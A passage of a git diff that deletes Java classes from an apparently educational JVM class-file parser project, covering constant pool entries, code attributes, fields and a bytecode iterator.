-	public void setAttrList(List<AttributeInfo> attrList) {
-		AttrList = attrList;
-	}
-
-	public int getExceptionTableLength() {
-		return exceptionTableLength;
-	}
-
-	public void setExceptionTableLength(int exceptionTableLength) {
-		this.exceptionTableLength = exceptionTableLength;
-	}
-
-	
-
-}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/LineNumberTable.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/LineNumberTable.java
deleted file mode 100644
index 4cce2e0368..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/LineNumberTable.java
+++ /dev/null
@@ -1,77 +0,0 @@
-package com.coderising.jvm.attr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class LineNumberTable extends AttributeInfo {
-
-	private static String TYPE = LINE_NUM_TABLE;
-	private int lineNumberTableLength;
-	private List<LineNumberItem> lineNumberTable = new ArrayList<LineNumberTable.LineNumberItem>();
-
-	public LineNumberTable(int attrNameIndex, int attrLen,
-			int lineNumberTableLength) {
-		super(attrNameIndex, attrLen);
-		this.lineNumberTableLength = lineNumberTableLength;
-	}
-
-	public void addLineNumberItem(LineNumberItem e) {
-		this.lineNumberTable.add(e);
-	}
-
-	@Override
-	public String getType() {
-		return TYPE;
-	}
-	public static LineNumberTable parse(ConstantPool pool, ByteCodeIterator itr) {
-		int attrNameIndex = itr.nextU2toInt();
-		int attrLen = itr.nextU4toInt();
-		int lineNumberTableLength = itr.nextU2toInt();
-		LineNumberTable lineNumberTable = new LineNumberTable(attrNameIndex,
-				attrLen, lineNumberTableLength);
-		for (int i = 0; i < lineNumberTableLength; i++) {
-			lineNumberTable.addLineNumberItem(LineNumberItem.parse(pool, itr));
-		}
-		return lineNumberTable;
-	}
-
-	/**
-	 *  
-	 * @author Meng
-	 *
-	 */
-	private static class LineNumberItem {
-		@SuppressWarnings("unused")
-		private int startPc;
-		@SuppressWarnings("unused")
-		private int lineNum;
-
-		public LineNumberItem(int startPc, int lineNum) {
-			super();
-			this.startPc = startPc;
-			this.lineNum = lineNum;
-		}
-
-		public static LineNumberItem parse(ConstantPool pool,
-				ByteCodeIterator itr) {
-			int startPc = itr.nextU2toInt();
-			int lineNum = itr.nextU2toInt();
-			return new LineNumberTable.LineNumberItem(startPc, lineNum);
-		}
-	}
-
-	/*
-	 * getter setter
-	 */
-	public int getLineNumberTableLength() {
-		return lineNumberTableLength;
-	}
-
-	public void setLineNumberTableLength(int lineNumberTableLength) {
-		this.lineNumberTableLength = lineNumberTableLength;
-	}
-
-}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/LocalVariableTable.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/LocalVariableTable.java
deleted file mode 100644
index b5d5147a3f..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/LocalVariableTable.java
+++ /dev/null
@@ -1,93 +0,0 @@
-package com.coderising.jvm.attr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class LocalVariableTable extends AttributeInfo {
-
-	private static String TYPE = LOCAL_VAR_TABLE;
-	private int localVarTableLength;// u2 local_variable_table_length
-	private List<LocalVariableItem> itemList = new ArrayList<LocalVariableItem>();
-
-	public LocalVariableTable(int attrNameIndex, int attrLen,
-			int localVarTableLength) {
-		super(attrNameIndex, attrLen);
-		this.localVarTableLength = localVarTableLength;
-	}
-
-	public void addItemList(LocalVariableItem item) {
-		this.itemList.add(item);
-	}
-
-	@Override
-	public String getType() {
-		return TYPE;
-	}
-	public static LocalVariableTable parse(ConstantPool pool,
-			ByteCodeIterator itr) {
-		int attrNameIndex = itr.nextU2toInt();
-		int attrLen = itr.nextU4toInt();
-		int localVarTableLength = itr.nextU2toInt();
-		LocalVariableTable table = new LocalVariableTable(attrNameIndex,
-				attrLen, localVarTableLength);
-		for (int i = 0; i < localVarTableLength; i++) {
-			table.addItemList(LocalVariableItem.parse(pool, itr));
-		}
-		return table;
-	}
-
-	/**
-	 * inner class
-	 * 
-	 * @author Meng
-	 *
-	 */
-	public static class LocalVariableItem {
-		@SuppressWarnings("unused")
-		private int startPc;
-		@SuppressWarnings("unused")
-		private int length;
-		@SuppressWarnings("unused")
-		private int nameIndex;
-		@SuppressWarnings("unused")
-		private int descriptorIndex;
-		@SuppressWarnings("unused")
-		private int index;
-
-		public LocalVariableItem(int startPc, int length, int nameIndex,
-				int descriptorIndex, int index) {
-			super();
-			this.startPc = startPc;
-			this.length = length;
-			this.nameIndex = nameIndex;
-			this.descriptorIndex = descriptorIndex;
-			this.index = index;
-		}
-
-		public static LocalVariableItem parse(ConstantPool pool,
-				ByteCodeIterator itr) {
-			int startPc = itr.nextU2toInt();
-			int length = itr.nextU2toInt();
-			int nameIndex = itr.nextU2toInt();
-			int descriptorIndex = itr.nextU2toInt();
-			int index = itr.nextU2toInt();
-			LocalVariableItem item = new LocalVariableItem(startPc, length, nameIndex, descriptorIndex, index);
-			return item;
-		}
-	}
-
-	/*
-	 * getter setter
-	 */
-	public int getLocalVarTableLength() {
-		return localVarTableLength;
-	}
-
-	public void setLocalVarTableLength(int localVarTableLength) {
-		this.localVarTableLength = localVarTableLength;
-	}
-
-}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/StackMapTable.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/StackMapTable.java
deleted file mode 100644
index 01b80b0471..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/StackMapTable.java
+++ /dev/null
@@ -1,13 +0,0 @@
-package com.coderising.jvm.attr;
-
-public class StackMapTable extends AttributeInfo{
-
-	private static String TYPE = STACK_MAP_TABLE;
-	@Override
-	public String getType() {
-		return TYPE;
-	}
-	public StackMapTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);
-	}
-}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/clz/AccessFlag.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/clz/AccessFlag.java
deleted file mode 100644
index ee70c4305c..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/clz/AccessFlag.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.coderising.jvm.clz;
-
-public class AccessFlag {
-	private int flagValue;
-
-	public AccessFlag(int value) {
-		this.flagValue = value;
-	}
-
-	public int getFlagValue() {
-		return flagValue;
-	}
-
-	public void setFlagValue(int flag) {
-		this.flagValue = flag;
-	}
-	
-	public boolean isPublicClass(){
-		return (this.flagValue & 0x0001) != 0;
-	}
-	public boolean isFinalClass(){
-		return (this.flagValue & 0x0010) != 0;
-	}
-}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/clz/ClassFile.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/clz/ClassFile.java
deleted file mode 100644
index 7460b4953b..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/clz/ClassFile.java
+++ /dev/null
@@ -1,109 +0,0 @@
-package com.coderising.jvm.clz;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.method.Method;
-
-public class ClassFile {
-	private int minorVersion;
-	private int majorVersion;
-
-	private AccessFlag accessFlag;
-	private ClassIndex clzIndex;
-	private ConstantPool pool;
-	private List<Field> fields = new ArrayList<Field>();
-	private List<Method> methods = new ArrayList<Method>();
-
-	public void print() {
-		if (this.accessFlag.isPublicClass()) {
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:" + getClassName());
-
-		System.out.println("Super Class Name:" + getSuperClassName());
-	}
-
-	public String getClassName() {
-		int index = this.clzIndex.getThisClassIndex();
-		ClassInfo c = (ClassInfo) pool.getConstantInfo(index);
-		return c.getClassName();
-	}
-
-	public String getSuperClassName() {
-		int index = this.clzIndex.getSuperClassIndex();
-		ClassInfo c = (ClassInfo) pool.getConstantInfo(index);
-		return c.getClassName();
-	}
-
-	public void addFields(Field f) {
-		this.fields.add(f);
-	}
-
-	public void addMethods(Method m) {
-		this.methods.add(m);
-	}
-
-	/*
-	 * getter setter
-	 */
-	public int getMinorVersion() {
-		return minorVersion;
-	}
-
-	public void setMinorVersion(int minorVersion) {
-		this.minorVersion = minorVersion;
-	}
-
-	public int getMajorVersion() {
-		return majorVersion;
-	}
-
-	public void setMajorVersion(int majorVersion) {
-		this.majorVersion = majorVersion;
-	}
-
-	public AccessFlag getAccessFlag() {
-		return accessFlag;
-	}
-
-	public void setAccessFlag(AccessFlag accessFlag) {
-		this.accessFlag = accessFlag;
-	}
-
-	public ClassIndex getClzIndex() {
-		return clzIndex;
-	}
-
-	public void setClzIndex(ClassIndex clzIndex) {
-		this.clzIndex = clzIndex;
-	}
-
-	public ConstantPool getConstantPool() {
-		return pool;
-	}
-
-	public void setPool(ConstantPool pool) {
-		this.pool = pool;
-	}
-
-	public List<Field> getFields() {
-		return fields;
-	}
-
-	public void setFields(List<Field> fl) {
-		this.fields = fl;
-	}
-
-	public List<Method> getMethods() {
-		return methods;
-	}
-
-	public void setMethods(List<Method> ml) {
-		this.methods = ml;
-	}
-
-}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/clz/ClassIndex.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/clz/ClassIndex.java
deleted file mode 100644
index 7750d4439d..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/clz/ClassIndex.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.clz;
-
-public class ClassIndex {
-	private int thisClassIndex;
-	private int superClassIndex;
-	
-	public int getThisClassIndex() {
-		return thisClassIndex;
-	}
-	public void setThisClassIndex(int thisClassIndex) {
-		this.thisClassIndex = thisClassIndex;
-	}
-	public int getSuperClassIndex() {
-		return superClassIndex;
-	}
-	public void setSuperClassIndex(int superClassIndex) {
-		this.superClassIndex = superClassIndex;
-	}
-}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/ClassInfo.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/ClassInfo.java
deleted file mode 100644
index 8758755887..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/ClassInfo.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class ClassInfo extends ConstantInfo {
-	private int type = CLASS_INFO;// u1 tag
-	private int utf8Index;// u2 name_index
-
-	public ClassInfo(ConstantPool c) {
-		super(c);
-	}
-
-	@Override
-	public int getType() {
-		return type;
-	}
-
-	@Override
-	public void print() {
-		System.out.println("u1 tag:" + getType() + " ClassInfo"
-				+ ",u2 name_index:" + getUtf8Index());
-	}
-
-	public String getClassName() {
-		int name_index = getUtf8Index();
-		UTF8Info utf8 = (UTF8Info) this.constantPool
-				.getConstantInfo(name_index);
-		return utf8.getValue();
-	}
-
-	/*
-	 * getter setter
-	 */
-	public int getUtf8Index() {
-		return utf8Index;
-	}
-
-	public void setUtf8Index(int name_index) {
-		this.utf8Index = name_index;
-	}
-}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/ConstantInfo.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/ConstantInfo.java
deleted file mode 100644
index a485aa25f9..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/ConstantInfo.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package com.coderising.jvm.constant;
-
-public abstract class ConstantInfo {
-	public static final int UTF8_INFO = 1;
-	public static final int INTEGER_INFO = 3;
-	public static final int FLOAT_INFO = 4;
-	public static final int LONG_INFO = 5;
-	public static final int DOUBLE_INFO = 6;
-	public static final int CLASS_INFO = 7;
-	public static final int STRING_INFO = 8;
-	public static final int FIELD_INFO = 9;
-	public static final int METHOD_INFO = 10;
-	public static final int NAME_AND_TYPE_INFO = 12;
-	
-	protected ConstantPool constantPool;
-	
-	public ConstantInfo() {}
-	
-	public ConstantInfo(ConstantPool cp){
-		this.constantPool = cp;
-	}
-	
-	public abstract int getType();
-	
-	public abstract void print();
-	
-	/*
-	 * getter setter
-	 */
-	public ConstantPool getConstantPool(){
-		return this.constantPool;
-	}
-	
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantPool.getConstantInfo(index);
-	}
-}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/ConstantPool.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/ConstantPool.java
deleted file mode 100644
index c1239d9220..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/ConstantPool.java
+++ /dev/null
@@ -1,38 +0,0 @@
-package com.coderising.jvm.constant;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class ConstantPool {
-	private List<ConstantInfo> cl = new ArrayList<ConstantInfo>();
-
-	public void addConstantInfo(ConstantInfo e){
-		cl.add(e);
-	}
-
-	public ConstantInfo getConstantInfo(int index) {
-		return cl.get(index);
-	}
-
-	public int getSize() {
-		return cl.size() - 1;// 减去常量池的长度一项
-	}
-
-	public String getUTF8String(int nameIndex) {
-		return ((UTF8Info)getConstantInfo(nameIndex)).getValue();
-	}
-	
-	public String print(){
-		StringBuffer sb = new StringBuffer();
-		for (int i = 0; i < cl.size(); i++) {
-			ConstantInfo c = cl.get(i);
-			if(i<10){
-				System.out.print("0"+i+". ");
-			}else{
-				System.out.print(i+". ");
-			}
-			c.print();
-		}
-		return sb.toString();
-	}
-}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/DoubleInfo.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/DoubleInfo.java
deleted file mode 100644
index 25a0628678..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/DoubleInfo.java
+++ /dev/null
@@ -1,14 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class DoubleInfo extends ConstantInfo {
-	private int type = DOUBLE_INFO;
-
-	@Override
-	public int getType() {
-		return type;
-	}
-	@Override
-	public void print() {
-		
-	}
-}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/FieldRefInfo.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/FieldRefInfo.java
deleted file mode 100644
index 3170fa25d1..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/FieldRefInfo.java
+++ /dev/null
@@ -1,66 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class FieldRefInfo extends ConstantInfo {
-	private int type = FIELD_INFO;// u1 tag
-	private int class_index;// u2 class_index
-	private int name_and_type_index;// u2 name_and_type_index
-
-	public FieldRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	@Override
-	public int getType() {
-		return type;
-	}
-
-	@Override
-	public void print() {
-		System.out.println("u1 tag:" + getType() + " FieldInfo"
-				+ ",u2 class_index:" + getClass_index()
-				+ ",u2 name_and_type_index:" + getName_and_type_index());
-	}
-
-	@Override
-	public String toString() {
-		return getClassName() + ":" + getFieldName() + " : " + getFieldType();
-	}
-
-	public String getClassName() {
-		ClassInfo classInfo = (ClassInfo) this.constantPool
-				.getConstantInfo(class_index);
-		return classInfo.getClassName();
-	}
-
-	public String getFieldName() {
-		NameAndTypeInfo nameAndTypeInfo = (NameAndTypeInfo) this.constantPool
-				.getConstantInfo(name_and_type_index);
-		return nameAndTypeInfo.getName();
-	}
-
-	public String getFieldType() {
-		NameAndTypeInfo nameAndTypeInfo = (NameAndTypeInfo) this.constantPool
-				.getConstantInfo(name_and_type_index);
-		return nameAndTypeInfo.getTypeInfo();
-	}
-
-	/*
-	 * getter setter
-	 */
-	public int getClass_index() {
-		return class_index;
-	}
-
-	public void setClass_index(int class_index) {
-		this.class_index = class_index;
-	}
-
-	public int getName_and_type_index() {
-		return name_and_type_index;
-	}
-
-	public void setName_and_type_index(int name_and_type_index) {
-		this.name_and_type_index = name_and_type_index;
-	}
-
-}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/FloatInfo.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/FloatInfo.java
deleted file mode 100644
index c20ebee388..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/FloatInfo.java
+++ /dev/null
@@ -1,15 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class FloatInfo extends ConstantInfo {
-	private int type = FLOAT_INFO;
-
-	@Override
-	public int getType() {
-		return type;
-	}
-	@Override
-	public void print() {
-		// TODO Auto-generated method stub
-		
-	}
-}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/IntegerInfo.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/IntegerInfo.java
deleted file mode 100644
index 35da3f20ef..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/IntegerInfo.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class IntegerInfo extends ConstantInfo {
-	private int type = INTEGER_INFO;
-	private int Num;
-
-	@Override
-	public int getType() {
-		return type;
-	}
-	@Override
-	public void print() {
-		// TODO Auto-generated method stub
-		
-	}
-
-	public int getNum() {
-		return Num;
-	}
-
-	public void setNum(int num) {
-		Num = num;
-	}
-	
-}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/LongInfo.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/LongInfo.java
deleted file mode 100644
index 61a19f320c..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/LongInfo.java
+++ /dev/null
@@ -1,15 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class LongInfo extends ConstantInfo {
-	private int type = LONG_INFO;
-
-	@Override
-	public int getType() {
-		return type;
-	}
-	@Override
-	public void print() {
-		// TODO Auto-generated method stub
-		
-	}
-}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/MethodRefInfo.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/MethodRefInfo.java
deleted file mode 100644
index ad59210e84..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/MethodRefInfo.java
+++ /dev/null
@@ -1,67 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class MethodRefInfo extends ConstantInfo {
-	private int type = METHOD_INFO;// u1 tag
-	private int classInfoIndex;// u2 class_index
-	private int nameAndTypeIndex;// u2 name_and_type_index
-
-	public MethodRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public String getClassName() {
-		ClassInfo c = (ClassInfo) this.constantPool
-				.getConstantInfo(classInfoIndex);
-		return c.getClassName();
-	}
-
-	public String getMethodName() {
-		NameAndTypeInfo nt = (NameAndTypeInfo) this.constantPool
-				.getConstantInfo(nameAndTypeIndex);
-		return nt.getName();
-	}
-
-	public String getParamsAndReturnType() {
-		NameAndTypeInfo nt = (NameAndTypeInfo) this.constantPool
-				.getConstantInfo(nameAndTypeIndex);
-		return nt.getTypeInfo();
-	}
-
-	@Override
-	public int getType() {
-		return type;
-	}
-
-	@Override
-	public void print() {
-		System.out.println("u1 tag:" + getType() + " MethodInfo"
-				+ ",u2 class_index:" + getClassInfoIndex()
-				+ ",u2 name_and_type_index" + getNameAndTypeIndex());
-	}
-
-	@Override
-	public String toString() {
-		return getClassName() + ":" + getMethodName() + ":"
-				+ getParamsAndReturnType();
-	}
-
-	/*
-	 * getter setter
-	 */
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-
-	public void setClassInfoIndex(int class_index) {
-		this.classInfoIndex = class_index;
-	}
-
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-
-	public void setNameAndTypeIndex(int name_and_type_index) {
-		this.nameAndTypeIndex = name_and_type_index;
-	}
-
-}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/NameAndTypeInfo.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/NameAndTypeInfo.java
deleted file mode 100644
index 08e9b6a0f2..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/NameAndTypeInfo.java
+++ /dev/null
@@ -1,58 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class NameAndTypeInfo extends ConstantInfo {
-	private int type = NAME_AND_TYPE_INFO;// u1 tag
-	private int name_index;// u2 name_index
-	private int descriptor_index;// u2 descriptor_index
-
-	public NameAndTypeInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	@Override
-	public int getType() {
-		return type;
-	}
-
-	@Override
-	public void print() {
-		System.out.println("u1 tag:" + getType() + " NameAndTypeInfo"
-				+ ",u2 name_index:" + getName_index() + ",u2 descriptor_index:"
-				+ getDescriptor_index());
-	}
-
-	@Override
-	public String toString() {
-		return "(" + getName() + "," + getTypeInfo() + ")";
-	}
-
-	public String getName() {
-		UTF8Info u = (UTF8Info) this.constantPool.getConstantInfo(name_index);
-		return u.getValue();
-	}
-
-	public String getTypeInfo() {
-		UTF8Info u = (UTF8Info) this.constantPool
-				.getConstantInfo(descriptor_index);
-		return u.getValue();
-	}
-
-	/*
-	 * getter setter
-	 */
-	public int getName_index() {
-		return name_index;
-	}
-
-	public void setName_index(int name_index) {
-		this.name_index = name_index;
-	}
-
-	public int getDescriptor_index() {
-		return descriptor_index;
-	}
-
-	public void setDescriptor_index(int descriptor_index) {
-		this.descriptor_index = descriptor_index;
-	}
-}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/NullConstantInfo.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/NullConstantInfo.java
deleted file mode 100644
index 2c67e88d37..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/NullConstantInfo.java
+++ /dev/null
@@ -1,14 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class NullConstantInfo extends ConstantInfo{
-
-	@Override
-	public int getType() {
-		return -1;
-	}
-	@Override
-	public void print() {
-		System.out.println("NullConstantInfo");
-	}
-
-}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/StringInfo.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/StringInfo.java
deleted file mode 100644
index 4fac07f7cc..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/StringInfo.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class StringInfo extends ConstantInfo {
-	private int type = STRING_INFO;// u1 tag
-	private int string_index;// u2 string_index
-
-	public StringInfo(ConstantPool cp) {
-		super(cp);
-	}
-
-	@Override
-	public int getType() {
-		return type;
-	}
-
-	@Override
-	public void print() {
-		System.out.println("u1 tag:" + getType() + " StringInfo"
-				+ ",u2 string_index:" + getString_index());
-	}
-
-	public String getString() {
-		UTF8Info u = (UTF8Info) this.constantPool.getConstantInfo(string_index);
-		return u.getValue();
-	}
-
-	@Override
-	public String toString() {
-		return getString();
-	}
-
-	/*
-	 * getter setter
-	 */
-	public int getString_index() {
-		return string_index;
-	}
-
-	public void setString_index(int string_index) {
-		this.string_index = string_index;
-	}
-
-}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/UTF8Info.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/UTF8Info.java
deleted file mode 100644
index ef5eef58a2..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/UTF8Info.java
+++ /dev/null
@@ -1,47 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class UTF8Info extends ConstantInfo {
-	private int type = UTF8_INFO;// u1 tag
-	private int length;// u2 length
-	private String value;// n 个 u1
-
-	public UTF8Info(ConstantPool pool) {
-		super(pool);
-	}
-
-	@Override
-	public int getType() {
-		return type;
-	}
-
-	@Override
-	public void print() {
-		System.out.println("u1 tag:" + getType() + " UTF8Info" + ",u2 length:"
-				+ getLength() + ",u1 bytes[" + getLength() + "] " + getValue());
-	}
-
-	@Override
-	public String toString() {
-		return "UTF8Info [type=" + type + ",length=" + length + ",value="
-				+ value + "]";
-	}
-
-	/*
-	 * getter setter
-	 */
-	public String getValue() {
-		return value;
-	}
-
-	public void setValue(String value) {
-		this.value = value;
-	}
-
-	public int getLength() {
-		return length;
-	}
-
-	public void setLength(int length) {
-		this.length = length;
-	}
-}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/field/Field.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/field/Field.java
deleted file mode 100644
index fee1d06d95..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/field/Field.java
+++ /dev/null
@@ -1,115 +0,0 @@
-package com.coderising.jvm.field;
-
-import java.util.List;
-
-import com.coderising.jvm.attr.AttributeInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class Field {
-	private int accessFlag;// u2 access_flags
-	private int nameIndex;// u2 name_index
-	private int descriptorIndex;// u2 descriptor_index
-	private int attrCount;//u2 attributes_count
-	private List<AttributeInfo> attributeInfos;//attribute_info attributes[attributes_count];
-	
-	private ConstantPool cp;
-
-	public Field(){}
-
-	public Field(int accessFlag, int nameIndex, int descriptorIndex,
-			int attrCount, ConstantPool cp) {
-		super();
-		this.accessFlag = accessFlag;
-		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
-		this.attrCount = attrCount;
-		this.cp = cp;
-	}
-
-	/**
-	 * 读取字段<br/>
-	 * field_info {<br/>
-	 * u2 access_flags,<br/>
-	 * u2 name_index,<br/>
-	 * u2 descriptor_index,<br/>
-	 * u2 attributes_count,<br/>
-	 * attribute_info attributes[attributes_count]<br/>
-	 * }
-	 * 
-	 * @param itr
-	 * @return Field
-	 */
-	public static Field parse(ConstantPool pool, ByteCodeIterator itr) {
-		int accessFlag = itr.nextU2toInt();
-		int nameIndex = itr.nextU2toInt();
-		int descriptorIndex = itr.nextU2toInt();
-		int attrCount = itr.nextU2toInt();
-		Field field = new Field(accessFlag, nameIndex, descriptorIndex, attrCount, pool);
-		for (int i = 0; i < attrCount; i++) {
-			field.addAttributeInfo(AttributeInfo.parse(pool, itr));
-		}
-		return field;
-	}
-	
-	public void addAttributeInfo(AttributeInfo a) {
-		this.attributeInfos.add(a);
-	}
-	@Override
-	public String toString() {
-		UTF8Info utf8Info1 = (UTF8Info)this.cp.getConstantInfo(this.nameIndex);
-		UTF8Info utf8Info2 = (UTF8Info)this.cp.getConstantInfo(this.descriptorIndex);
-		return utf8Info1.getValue()+":"+utf8Info2.getValue();
-	}
-
-	/*
-	 * getter setter
-	 */
-	public int getAccessFlag() {
-		return accessFlag;
-	}
-
-	public void setAccessFlag(int accessFlag) {
-		this.accessFlag = accessFlag;
-	}
-
-	public int getNameIndex() {
-		return nameIndex;
-	}
-
-	public void setNameIndex(int nameIndex) {
-		this.nameIndex = nameIndex;
-	}
-
-	public int getDescriptorIndex() {
-		return descriptorIndex;
-	}
-
-	public void setDescriptorIndex(int descriptorIndex) {
-		this.descriptorIndex = descriptorIndex;
-	}
-
-	public int getAttrCount() {
-		return attrCount;
-	}
-
-	public void setAttrCount(int attrCount) {
-		this.attrCount = attrCount;
-	}
-
-	public List<AttributeInfo> getAttributeInfos() {
-		return attributeInfos;
-	}
-
-	public void setAttributeInfos(List<AttributeInfo> attributeInfos) {
-		this.attributeInfos = attributeInfos;
-	}
-	public ConstantPool getCp() {
-		return cp;
-	}
-	public void setCp(ConstantPool cp) {
-		this.cp = cp;
-	}
-
-}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/loader/ByteCodeIterator.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/loader/ByteCodeIterator.java
deleted file mode 100644
index 5cdf37fdaf..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/loader/ByteCodeIterator.java
+++ /dev/null
@@ -1,48 +0,0 @@
-package com.coderising.jvm.loader;
-
-import com.coderising.jvm.util.Util;
-
-public class ByteCodeIterator {
-	private byte[] codes;
-	private int pos = 0;
-
-	public void back(int length) {
-		if (pos - length < 0) {
-			throw new RuntimeException("back length is too long:" + length
-					+ ",pos:" + pos);
-		}
-		pos -= length;
-	}
-
-	public ByteCodeIterator(byte[] codes) {
-		this.codes = codes;
-	}
-
-	public int nextU1toInt() {
-		return Util.byteToInt(new byte[] { codes[pos++] });
-	}
-
-	public int nextU2toInt() {
-		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
-	}
-
-	public int nextU4toInt() {
-		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++],
-				codes[pos++], codes[pos++] });
-	}
-
-	public String nextUxtoHexString(int len) {
-		byte[] bytes = new byte[len];
-		for (int i = 0; i < len; i++) {
-			bytes[i] = codes[pos++];
-		}
-		return Util.byteToHexString(bytes);
-	}
-	public String nextUxtoAscii(int len){
-		byte[] bytes = new byte[len];
-		for (int i = 0; i < len; i++) {
-			bytes[i] = codes[pos++];
-		}
-		return Util.byteToAscii(bytes);
-	}
-}
